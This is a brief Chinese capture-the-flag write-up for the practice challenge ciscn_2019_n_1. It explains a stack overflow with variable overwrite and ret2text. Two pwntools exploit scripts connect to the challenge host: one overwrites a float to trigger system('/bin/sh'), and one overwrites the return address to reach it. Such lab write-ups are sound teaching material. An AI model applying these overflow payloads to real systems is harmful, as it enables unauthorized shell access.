004-ciscn_2019_n_1
考点: ret2text,变量覆盖
查看源代码
EXP1:修改v2值
题目提示当v2值为11.28125时,会调用system('/bin/sh')
函数,于是我们可以编写如下EXP
其中11.28125对应的16进制值为0x41348000,可以通过在线网站进行转换
from pwn import *
context.arch = 'amd64'
sh = remote("node4.buuoj.cn", 26957)
float_value = 0x41348000
payload = flat(cyclic(0x30-0x4), float_value)
sh.send(payload)
sh.interactive()
EXP2:调用system函数
sys_addr
是命令system('/bin/sh')
的地址,这里是通过ida
查看到的
from pwn import *
context.arch = 'amd64'
sh = remote("node4.buuoj.cn", 26957)
sys_addr = 0x4006BE
payload = flat(cyclic(0x30 + 0x8), sys_addr)
sh.send(payload)
sh.interactive()